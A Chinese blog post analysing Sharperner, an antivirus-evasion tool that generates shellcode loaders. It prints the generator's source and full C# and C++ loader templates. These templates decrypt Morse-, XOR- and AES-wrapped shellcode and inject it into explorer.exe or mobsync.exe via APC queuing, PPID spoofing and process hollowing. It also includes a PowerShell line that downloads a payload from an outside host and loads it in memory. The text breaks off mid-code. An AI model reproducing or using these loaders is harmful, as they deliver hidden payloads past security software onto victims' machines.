前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀工具Sharperner浅析

免杀工具Sharperner浅析

作者头像
鸿鹄实验室
发布2021-07-06 14:36:47
1.1K0
发布2021-07-06 14:36:47
举报
文章被收录于专栏:鸿鹄实验室

前言

多看看别人的工具,自己也就会写了。(手动狗头)

Sharperner是一款C#编写的自动化免杀工具,用来生成免杀的exe文件或者C++的loader,在antiscan.me上为全绿,效果可见一斑。

其官方地址为:https://github.com/aniqfakhrul/Sharperner

其文件结构如下:

按照其官方介绍来看,其支持XOR和AES加密。

其C#版exe使用的技术如下:

  • AES + XOR 加密的 shellcode
  • 随机函数名
  • APC 进程注入 (explorer.exe)随机函数名
  • 随机生成的 AES 密钥和 iv
  • 最终的 Shellcode、Key 和 IV 被翻译成莫尔斯电码 :)

普通版技术如下:

  • Process Hollowing
  • PPID Spoofing
  • Random generated AES key and iv
  • Final Shellcode, Key and IV are translated to morse code :)

其使用方法如下:

代码语言:javascript
复制
/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

另外作者还给出了优先加载方式(国内不适用,你调用PS太麻烦)

代码语言:javascript
复制
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()

下面我们来简单的分析一下其代码实现。为了方便,我们首先定位到tempFile删除的代码,然后将其注释:

其模板文件是存在于templates也可自行查看,二者选一即可。我们首先来看C#的。

首先是判断是否为C#,如果是则进行方法名随机化、字符串随机化、模板填充的操作:

代码语言:javascript
复制
 if (dropperFormat == "cs")
                {
                    //https://stackoverflow.com/questions/5036590/how-to-retrieve-certificates-from-a-pfx-file-with-c

                    //Console.WriteLine($"XOR encrypted text: {xorAesEncStringB64}");

                    //decrypt it back

                    //byte[] aesEncrypted = xorEncDec(Convert.FromBase64String(xorAesEncStringB64), xorKey);

                    //string sh3Llc0d3 = DecryptStringFromBytes(aesEncrypted, key, iv);

                    //Console.WriteLine($"XOR decrypted text: {sh3Llc0d3}");

                    // Open template file
                    var directory = VisualStudioProvider.TryGetSolutionDirectoryInfo();

                    var parentDir = directory.FullName;

                    var templateFile = Path.Combine(parentDir, @"templates\template.cs");
                    
                    var tempFile = Path.Combine(Directory.GetCurrentDirectory(), "output.cs");

                    string templateFileContent = "";

                    // read all content
                    if (!File.Exists(templateFile)) //if file exists
                    {
                        Console.WriteLine("[!] File does not exists in local, fetching online...");
                        ServicePointManager.Expect100Continue = true;
                        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
                        WebClient client = new WebClient();
                        try
                        {
                            templateFileContent = client.DownloadString("https://raw.githubusercontent.com/aniqfakhrul/Sharperner/main/templates/template.cs");
                        }
                        catch
                        {
                            Console.WriteLine("[!] No internet connection");
                            Environment.Exit(0);
                        }
                    }
                    else
                    {
                        templateFileContent = File.ReadAllText(templateFile);
                    }

                    try
                    {
                        // randomize method names
                        var pattern = @"(public|private|static|\s) +[\w\<\>\[\]]+\s+(\w+) *\([^\)]*\) *(\{?|[^;])";
                        var methodNamesPattern = @"([a-zA-Z_{1}][a-zA-Z0-9_]+)(?=\()";
                        Regex rg = new Regex(pattern);
                        MatchCollection methods = rg.Matches(templateFileContent);
                        foreach (var method in methods)
                        {
                            if (!method.ToString().Contains("Main"))
                            {
                                var methodName = Regex.Match(method.ToString(), methodNamesPattern);
                                templateFileContent = templateFileContent.Replace(methodName.ToString(), GenerateRandomString());
                            }

                        }

                        //randomize variable names
                        string[] variableNames = { "xoredAesB64", "xorKey", "aE5k3y", "aE5Iv", "aesEncrypted", "sh3Llc0d3", "lpNumberOfBytesWritten", "processInfo",
                                                    "pHandle", "rMemAddress", "tHandle", "ptr", "theKey", "mixed", "input", "theKeystring", "cipherText", "rawKey", "rawIV", "rijAlg", "decryptor", 
                                                    "msDecrypt", "csDecrypt", "srDecrypt", "plaintext", "cipherData", "decryptedData", "ms", "cs", "alg", "MorseForFun","startInfo","procInfo", "binaryPath",
                                                    "random", "aes_key", "aes_iv", "stringBuilder"};

                        foreach (string variableName in variableNames)
                        {
                            templateFileContent = templateFileContent.Replace(variableName, GenerateRandomString());
                        }

                        // replace in template file
                        templateFileContent = templateFileContent.Replace("\"REPLACE SHELLCODE HERE\"", xorAesEncStringB64).Replace("\"REPLACE XORKEY\"", xorKey).Replace("\"REPLACE A3S_KEY\"", morsed_aeskey).Replace("\"REPLACE A3S_IV\"", morsed_aesiv);

                    }

然后调用csc文件,进行文件编译

代码语言:javascript
复制
 string strCmd = $"/c C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:{outputFile} {tempFile}";
                    try
                    {
                        Process process = new Process();

                        // Stop the process from opening a new window
                        process.StartInfo.RedirectStandardOutput = true;
                        process.StartInfo.UseShellExecute = false;
                        process.StartInfo.CreateNoWindow = true;

                        // Setup executable and parameters
                        process.StartInfo.FileName = @"CMD.exe";
                        process.StartInfo.Arguments = strCmd;

                        // Go
                        process.Start();

                        Console.WriteLine($"[+] Executable file successfully generated: {outputFile}");
                    }

然后休眠、删除模板文件

代码语言:javascript
复制
                    Thread.Sleep(1000);

                    File.Delete(tempFile);

其shellcode加载并无太多的新颖技术,从API的导入我们可以看到就是一个基本的APC注入

其他的都是一些shellcode的解密、加载了

比较新颖的可能即使摩尔斯的利用:

代码语言:javascript
复制
            public static void InitializeDictionary()
            {
                _morseAlphabetDictionary = new Dictionary<char, string>()
                                   {
{'a',".-"},{'A',"^.-"},{'b',"-..."},{'B',"^-..."},{'c',"-.-."},{'C',"^-.-."},{'d',"-.."},{'D',"^-.."},{'e',"."},{'E',"^."},{'f',"..-."},{'F',"^..-."},{'g',"--."},{'G',"^--."},{'h',"...."},{'H',"^...."},{'i',".."},{'I',"^.."},{'j',".---"},{'J',"^.---"},{'k',"-.-"},{'K',"^-.-"},{'l',".-.."},{'L',"^.-.."},{'m',"--"},{'M',"^--"},{'n',"-."},{'N',"^-."},{'o',"---"},{'O',"^---"},{'p',".--."},{'P',"^.--."},{'q',"--.-"},{'Q',"^--.-"},{'r',".-."},{'R',"^.-."},{'s',"..."},{'S',"^..."},{'t',"-"},{'T',"^-"},{'u',"..-"},{'U',"^..-"},{'v',"...-"},{'V',"^...-"},{'w',".--"},{'W',"^.--"},{'x',"-..-"},{'X',"^-..-"},{'y',"-.--"},{'Y',"^-.--"},{'z',"--.."},{'Z',"^--.."},{'0',"-----"},{'1',".----"},{'2',"..---"},{'3',"...--"},{'4',"....-"},{'5',"....."},{'6',"-...."},{'7',"--..."},{'8',"---.."},{'9',"----."},{'/',"/"},{'=',"...^-"},{'+',"^.^"},{'!',"^..^"},
                                   };
            }

通过对文件内容的输出可以得到最后的模板内容:

代码语言:javascript
复制
using System;
using System.IO;
using System.Security.Cryptography;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace TotallyNotMal
{
    public class Program
    {
        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInherigjalukcf, uint dwProcessId);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint wlwtlwokvm);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInherigjalukcf, uint dwThreadId);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern uint ResumeThread(IntPtr hThread);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern bool CloseHandle(IntPtr hObject);

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInherigjalukcfs, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

        public enum ProcessAccessRights
        {
            All = 0x001F0FFF,
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VirtualMemoryOperation = 0x00000008,
            VirtualMemoryRead = 0x00000010,
            VirtualMemoryWrite = 0x00000020,
            DuplicateHandle = 0x00000040,
            CreateProcess = 0x000000080,
            SetQuota = 0x00000100,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            QueryLimitedInformation = 0x00001000,
            Synchronize = 0x00100000
        }

        public enum ThreadAccess : int
        {
            TERMINATE = (0x0001),
            SUSPEND_RESUME = (0x0002),
            GET_CONTEXT = (0x0008),
            SET_CONTEXT = (0x0010),
            SET_INFORMATION = (0x0020),
            QUERY_INFORMATION = (0x0040),
            SET_THREAD_TOKEN = (0x0080),
            IMPERSONATE = (0x0100),
            DIRECT_IMPERSONATION = (0x0200),
            THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
            THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
        }

        public enum MemAllocation
        {
            MEM_COMMIT = 0x00001000,
            MEM_RESERVE = 0x00002000,
            MEM_RESET = 0x00080000,
            MEM_RESET_UNDO = 0x1000000,
            SecCommit = 0x08000000
        }

        public enum MemProtect
        {
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_TARGETS_INVALID = 0x40000000,
            PAGE_TARGETS_NO_UPDATE = 0x40000000,
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [StructLayout(LayoutKind.Sequential)]
        //internal struct STARTUPINFO
        public struct STARTUPINFO
        {
            uint cb;
            IntPtr lpReserved;
            IntPtr lpDesktop;
            IntPtr lpTitle;
            uint dwX;
            uint dwY;
            uint dwXSize;
            uint dwYSize;
            uint dwXCountChars;
            uint dwYCountChars;
            uint dwFillAttributes;
            public uint dwFlags;
            public ushort wShowWindow;
            ushort cbReserved;
            IntPtr lpReserved2;
            IntPtr hStdInput;
            IntPtr hStdOutput;
            IntPtr hStdErr;
        }

        public class juwvqfghcab
        {
            private static Dictionary<char, string> _morseAlphabetDictionary;

            public static void vvgkjshs()
            {
                _morseAlphabetDictionary = new Dictionary<char, string>()
                                   {
{'a',".-"},{'A',"^.-"},{'b',"-..."},{'B',"^-..."},{'c',"-.-."},{'C',"^-.-."},{'d',"-.."},{'D',"^-.."},{'e',"."},{'E',"^."},{'f',"..-."},{'F',"^..-."},{'g',"--."},{'G',"^--."},{'h',"...."},{'H',"^...."},{'i',".."},{'I',"^.."},{'j',".---"},{'J',"^.---"},{'k',"-.-"},{'K',"^-.-"},{'l',".-.."},{'L',"^.-.."},{'m',"--"},{'M',"^--"},{'n',"-."},{'N',"^-."},{'o',"---"},{'O',"^---"},{'p',".--."},{'P',"^.--."},{'q',"--.-"},{'Q',"^--.-"},{'r',".-."},{'R',"^.-."},{'s',"..."},{'S',"^..."},{'t',"-"},{'T',"^-"},{'u',"..-"},{'U',"^..-"},{'v',"...-"},{'V',"^...-"},{'w',".--"},{'W',"^.--"},{'x',"-..-"},{'X',"^-..-"},{'y',"-.--"},{'Y',"^-.--"},{'z',"--.."},{'Z',"^--.."},{'0',"-----"},{'1',".----"},{'2',"..---"},{'3',"...--"},{'4',"....-"},{'5',"....."},{'6',"-...."},{'7',"--..."},{'8',"---.."},{'9',"----."},{'/',"/"},{'=',"...^-"},{'+',"^.^"},{'!',"^..^"},
                                   };
            }

            public static string jehdmpyqxinn(string dltnsdbuvig)
            {
                StringBuilder sdratvpuxveb = new StringBuilder();

                string[] codes = dltnsdbuvig.Split(' ');

                foreach (var code in codes)
                {
                    foreach (char keyVar in _morseAlphabetDictionary.Keys)
                    {
                        if (_morseAlphabetDictionary[keyVar] == code)
                        {
                            sdratvpuxveb.Append(keyVar);
                            break;
                        }
                    }
                }

                return sdratvpuxveb.ToString();
            }
        }

        public static PROCESS_INFORMATION yorebdvgh(string toybpdhqpno)
        {
            uint flags = 0x00000004;

            STARTUPINFO doahhsji = new STARTUPINFO();
            PROCESS_INFORMATION lwgsuqrawjlnn = new PROCESS_INFORMATION();
            CreateProcess((IntPtr)0, toybpdhqpno, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref doahhsji, out lwgsuqrawjlnn);

            return lwgsuqrawjlnn;
        }

        private static Random gahtrlsqw = new Random();
        public static string qmmbwehlk(int length)
        {
            const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            return new string(Enumerable.Repeat(chars, length)
              .Select(s => s[gahtrlsqw.Next(s.Length)]).ToArray());
        }

        private static byte[] tuevqhrc(byte[] dltnsdbuvig, string ihjatewihoxuestring)
        {
            byte[] ihjatewihoxue = Encoding.UTF8.GetBytes(ihjatewihoxuestring);
            byte[] ahhxolrdxgwtg = new byte[dltnsdbuvig.Length];
            for (int i = 0; i < dltnsdbuvig.Length; i++)
            {
                ahhxolrdxgwtg[i] = (byte)(dltnsdbuvig[i] ^ ihjatewihoxue[i % ihjatewihoxue.Length]);
            }
            return ahhxolrdxgwtg;
        }

        //https://raw.githubusercontent.com/smokeme/payloadGenerator/main/xor/template
        public static string gpqmovrrfqev(byte[] lbesdfjd, byte[] ywlevtjb, byte[] sflyqhno)
        {
            // Check arguments.
            if (lbesdfjd == null || lbesdfjd.Length <= 0)
                throw new ArgumentNullException("lbesdfjd");
            if (ywlevtjb == null || ywlevtjb.Length <= 0)
                throw new ArgumentNullException("Key");
            if (sflyqhno == null || sflyqhno.Length <= 0)
                throw new ArgumentNullException("Key");

            // Declare the string used to hold
            // the decrypted text.
            string gdooinulaingqi = null;

            // Create an RijndaelManaged object
            // with the specified key and IV.
            using (RijndaelManaged gxejwedasj = new RijndaelManaged())
            {
                gxejwedasj.Key = ywlevtjb;
                gxejwedasj.IV = sflyqhno;

                // Create a decrytor to perform the stream transform.
                ICryptoTransform avlsfgik = gxejwedasj.CreateDecryptor(gxejwedasj.Key, gxejwedasj.IV);

                // Create the strearlfnvkems used for decryption.
                using (MemoryStream xvxqjqboljvenv = new MemoryStream(lbesdfjd))
                {
                    using (CryptoStream expagaub = new CryptoStream(xvxqjqboljvenv, avlsfgik, CryptoStreamMode.Read))
                    {
                        using (StreamReader bavtrskxcrkkam = new StreamReader(expagaub))
                        {

                            // Read the decrypted bytes from the decrypting stream
                            // and place them in a string.
                            gdooinulaingqi = bavtrskxcrkkam.ReadToEnd();
                        }
                    }
                }

            }

            return gdooinulaingqi;

        }

            //https://www.codeproject.com/Articles/5719/Simple-encrypting-and-decrypting-data-in-C
            public static byte[] cyqqyoclpw(byte[] vcuypjthv, string qdvongfppnpbgr, string rtfnuhseqj)
        {

            MemoryStream rlfnvkems = new MemoryStream();

            Rijndael tppqiubobkvc = Rijndael.Create();

            tppqiubobkvc.Key = Convert.FromBase64String(qdvongfppnpbgr);
            tppqiubobkvc.IV = Convert.FromBase64String(rtfnuhseqj);

            CryptoStream xuipbwpmvsvj = new CryptoStream(rlfnvkems,
                tppqiubobkvc.CreateDecryptor(), CryptoStreamMode.Write);

            xuipbwpmvsvj.Write(vcuypjthv, 0, vcuypjthv.Length);

            xuipbwpmvsvj.Close();

            byte[] ywbvkrelptdl = rlfnvkems.ToArray();

            return ywbvkrelptdl;
        }

        public static void Main()
        {

            string kmekvnsk = "^-.. .-.. ^..- .--- ..... - --. ^.-. ^... ^... ^..- ^.-. ^-.-. ..- ^... / ^.--- --.. -- ^.-.. ^..- ^-... -.-. ^--.. ^.-. ^..- ---.. ^..- ^.--. ^.--. ...- ^-- ^...- -... ^. .. ^... .... ^-- ---.. ^--.. ^...- .- --- ^... ^-.. ^...- ^--. ^... ^-..- ... .-.. ^... ...- ^.^ ^.-- ..- ^...- ^-- -..- -.... .-- ^..-. ^.^ ^--.. .-. ^... ..... ^-.. --.- ^-..- ----- ^-- ^-..- ^.- ^.-- ^-- .--- .... ^... ... -.... .--- / .--- ----- ..... ^-. ^.-. . ^--.- ^-.-. ^-- ^.... ^-.. .. -.. -- .. .--. ^-.-- -.... ... ^.-. ^.--- .--. .... -- ...- .-.. .... ^.--. -.- ..- ..--- ....- ..... ^.-. ...-- ^... --. ..-. -.... ..- ^.... ^. .---- - .--. ^.... ^-..- ...- -- .-- ^.--- -.-- . ----- .-. ^--. ^.--. ^-.-. .... -.-. ....- .--- ^-. ^-.-- ^-.-. -... -.... ... ..--- --- ^.-- .-.. ^-... -... ----- ^--.. ...-- ^.- ..... ^.^ --.. ^... ^--.. ^.--. -... -... --.. ..... ^.. ^--- -.. .-. ^--. ^... ^.-.. --- ..-. ^-.-- ^.--. .- -..- --. .-- -.. ^- --.- ^.- ^.-- ^.-- ^. ----. ^--.- --. ^. ^--. ....- - - ----- - --. ^-... ^--.. ----. ^.-. ^- ----. ^- ^.-.. ^-. --... ^..-. ^. -.. .-. .. .... -.- ^... ^.-.. ..... ^--. ....- ..--- -.-- ^--. ^-. .-.. -.... ^. -.-- ....- --.. -.-- ^. ^. ^--.- ^.-.. ^..- -.-- ^.... ^.. ...-- .-.. - ^-.-. ----- .. ^.--. ....- --.. ^... ^..-. ^.--- .. - .- / ^.--. ^- ^-... ^--.. -.-- - -... .--. --... ^--- ...-- .... .---- --. ^. ^-... .. ..-. ^..-. ^-... ..--- -.. -- ^.-. -- .... ^--- ^.-- ..... ^-.-. ^.-- . ^--. ^.-.. ..--- ...-- ^.. -.-- ^...- / -.-. .... ^.^ ^-..- - -..- .- .-- --... .- ^..-. -.-- ^.. ^--.- -... -.-- ^... ^-.. .... ..- .-- ^.^ ...-- ^... -..- ----- ^-.- ^.-.. ---.. ^.- ^--.. -..- --. --. ^--.. ...-- --- ^.--. .-.. -.-- ----. ^.- ^..-. -.. -... ^. .--. ....- ^--.- ^--.. --- ^--.- ^.--. ^.-. .-- ^--. ^-.. ^... ..-. / .-.. -.... ----. ^--- ...-- ^..- ^-... ^.^ - ^--.. -... ---.. ^--.- ^-.-- ^-.-- ^--.- ^-..- ..-. ^--. ..... ----. ^--.- ";
            string oapyyweflctgg = "^.--- -. ^.^ ^..-. ^-.. ^-. ^- ^..^ -.. ....- -.. ..... - ..- ^.--- ^--.- -.- -.- ";
            string sefyhdafpr = "-.- ..- ^--. -- ^-.-- .... ...- ^.^ --... ----. ^.... ^-- ----- ^.... ^..-. ^- -.-. .-.. ^.- .... ^--.- ^--. ..- ^...- ..- .-.. -.-. -..- ^. ^-- ----- ^--. ^--.. ^-. .... .--- .. -.-. ^-... ^..-. -... ^--.. ....- ...^- ";
            string ccrhvqwsctc = ".---- / ^--. ^.... ^-... -.-. ^--. -.. ^..-. ^-. ^.-.. -. ^--.. - ^-.-- ..... -.- .--- ----. ^.-- ... --. ...^- ...^- ";

            byte[] lfpnlhsj = new byte[] { };

            juwvqfghcab.vvgkjshs();

            kmekvnsk = juwvqfghcab.jehdmpyqxinn(kmekvnsk);
            sefyhdafpr = juwvqfghcab.jehdmpyqxinn(sefyhdafpr);
            ccrhvqwsctc = juwvqfghcab.jehdmpyqxinn(ccrhvqwsctc);
            oapyyweflctgg = juwvqfghcab.jehdmpyqxinn(oapyyweflctgg);

            byte[] qqcjvandvd = tuevqhrc(Convert.FromBase64String(kmekvnsk), oapyyweflctgg);

            //Console.WriteLine("After XOR DEc: " + Encoding.UTF8.GetString(qqcjvandvd));

            lfpnlhsj = cyqqyoclpw(qqcjvandvd, sefyhdafpr, ccrhvqwsctc);

            //Console.WriteLine("After AES DEc: " + Encoding.UTF8.GetString(lfpnlhsj));

            //lfpnlhsj = Convert.FromBase64String(gpqmovrrfqev(qqcjvandvd, key, iv));

            //var decrypted = gpqmovrrfqev(tuevqhrc(Convert.FromBase64String(xorAesEncStringB64), oapyyweflctgg),key,iv);

            // Console.WriteLine($"XOR decrypted text: {shellcode}");

            //shellcode = Convert.FromBase64String(b64);

            uint wlwtlwokvm = 0;

            PROCESS_INFORMATION ppunifsd = yorebdvgh("C:/Windows/explorer.exe");

            IntPtr corxbgcfd = OpenProcess((uint)ProcessAccessRights.All, false, (uint)ppunifsd.dwProcessId);

            IntPtr ljkrlfshxyk = VirtualAllocEx(corxbgcfd, IntPtr.Zero, (uint)lfpnlhsj.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);

            if (WriteProcessMemory(corxbgcfd, ljkrlfshxyk, lfpnlhsj, (uint)lfpnlhsj.Length, ref wlwtlwokvm))
            {

                IntPtr gjalukcf = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)ppunifsd.dwThreadId);

                IntPtr nodgisyse = QueueUserAPC(ljkrlfshxyk, gjalukcf, IntPtr.Zero);

                ResumeThread(gjalukcf);

            }
            bool hOpenProcessClose = CloseHandle(corxbgcfd);
        }
    }


}

CPP的则如下:

代码语言:javascript
复制
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include "aes.hpp"
#include "base64.h"
#include "low.h"
#include <string>
#include <map>
#include <sstream>

using namespace std;

map< char, string > mxmqrswkg =
{
{'a',".-"},{'A',"^.-"},{'b',"-..."},{'B',"^-..."},{'c',"-.-."},{'C',"^-.-."},{'d',"-.."},{'D',"^-.."},{'e',"."},{'E',"^."},{'f',"..-."},{'F',"^..-."},{'g',"--."},{'G',"^--."},{'h',"...."},{'H',"^...."},{'i',".."},{'I',"^.."},{'j',".---"},{'J',"^.---"},{'k',"-.-"},{'K',"^-.-"},{'l',".-.."},{'L',"^.-.."},{'m',"--"},{'M',"^--"},{'n',"-."},{'N',"^-."},{'o',"---"},{'O',"^---"},{'p',".--."},{'P',"^.--."},{'q',"--.-"},{'Q',"^--.-"},{'r',".-."},{'R',"^.-."},{'s',"..."},{'S',"^..."},{'t',"-"},{'T',"^-"},{'u',"..-"},{'U',"^..-"},{'v',"...-"},{'V',"^...-"},{'w',".--"},{'W',"^.--"},{'x',"-..-"},{'X',"^-..-"},{'y',"-.--"},{'Y',"^-.--"},{'z',"--.."},{'Z',"^--.."},{'0',"-----"},{'1',".----"},{'2',"..---"},{'3',"...--"},{'4',"....-"},{'5',"....."},{'6',"-...."},{'7',"--..."},{'8',"---.."},{'9',"----."},{'/',"/"},{'=',"...^-"},{'+',"^.^"},{'!',"^..^"},
};

void wwygarpdv(std::string const& str, const char boveqcxond,
    std::vector<std::string>& out)
{
    // construct a stream from the string
    std::stringstream ss(str);

    std::string s;
    while (std::getline(ss, s, boveqcxond)) {
        out.push_back(s);
    }
}

string idwdcbsjt(string gnjtbnfmobyh)
{
    string rwwawoxrp;

    //morse to ascii
    std::vector<std::string> xdvjfwghh;
    wwygarpdv(gnjtbnfmobyh, ' ', xdvjfwghh);
    for (int s = 0; s < xdvjfwghh.size(); s++) {
        for (auto it = mxmqrswkg.rbegin(); it != mxmqrswkg.rend(); it++) {
            if (xdvjfwghh[s] == it->second)
            {
                rwwawoxrp.push_back(it->first);
            }
        }
    }
    return rwwawoxrp;
}

// This is just directly stolen from ired.team
DWORD jdmalejrndjw() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

//reffered to alaris
void ddrvwpki(std::vector<byte> nxllkgwilgr)
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    LPVOID mem;
    HANDLE hProcess, hThread;
    DWORD cvhmsvnfo;
    DWORD kqcbjtqx;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    SIZE_T size = 0;

    // Initialize custom startup objects for CreateProcess()
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
    InitializeProcThreadAttributeList(NULL, 2, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);

    // Disallow non-microsoft signed DLL's from hooking/injecting into our CreateProcess():
    InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);
    DWORD64 dpjcmtmeoysv = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dpjcmtmeoysv, sizeof(dpjcmtmeoysv), NULL, NULL);

    // Mask the PPID to that of explorer.exe
    HANDLE youhblbseh = OpenProcess(PROCESS_ALL_ACCESS, false, jdmalejrndjw());
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &youhblbseh, sizeof(HANDLE), NULL, NULL);

    LPCWSTR fopvuyhunmwy = L"C:\\Windows\\System32\\mobsync.exe";

    if (!CreateProcess(
        fopvuyhunmwy,                   // LPCWSTR Command (Binary to Execute)
        NULL,                           // Command line
        NULL,                           // Process handle not inheritable
        NULL,                           // Thread handle not inheritable
        FALSE,                          // Set handle inheritance to FALSE
        EXTENDED_STARTUPINFO_PRESENT
        | CREATE_NO_WINDOW
        | CREATE_SUSPENDED,     // Creation Flags
        NULL,                           // Use parent's environment block
        NULL,                           // Use parent's starting directory
        (LPSTARTUPINFOW)&si,// Pointer to STARTUPINFO structure
        &pi                                     // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "whoops " << errval << std::endl;
    }

    WaitForSingleObject(pi.hProcess, 1400);
    hProcess = pi.hProcess;
    hThread = pi.hThread;

    mem = nullptr;
    SIZE_T hqvxeqjpqxhucp = nxllkgwilgr.size();
    NtAllocateVirtualMemory(hProcess, &mem, 0, (PSIZE_T)&hqvxeqjpqxhucp, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(hProcess, mem, nxllkgwilgr.data(), nxllkgwilgr.size(), 0);
    NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)mem, mem, NULL, NULL);
    NtResumeThread(hThread, NULL);

    // Overwrite shellcode with null bytes
    Sleep(9999);
    uint8_t ffdnyitmqkf[500];
    NtWriteVirtualMemory(hProcess, mem, ffdnyitmqkf, sizeof(ffdnyitmqkf), 0);
}
int main()
{
    //implement privilege escalation here
    //https://github.com/KooroshRZ/Windows-DLL-Injector/blob/61f30f3a9750600d09a19761515892e4582ec434/Injector/src

    // Disallow non-MSFT signed DLL's from injecting
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
    sp.MicrosoftSignedOnly = 1;
    SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));

    std::vector<uint8_t> isbgdapqeicaw, nxllkgwilgr;
    std::string gnjtbnfmobyh, ttkmjqver, gdfmssmkalh, ybhpdxsg, khlrlybj, gnjtbnfmobyhybhpdxsg, gnjtbnfmobyhkhlrlybj, gnjtbnfmobyhowwrtclyellkn, owwrtclyellkn;
    base64 b64 = base64();

    //xor
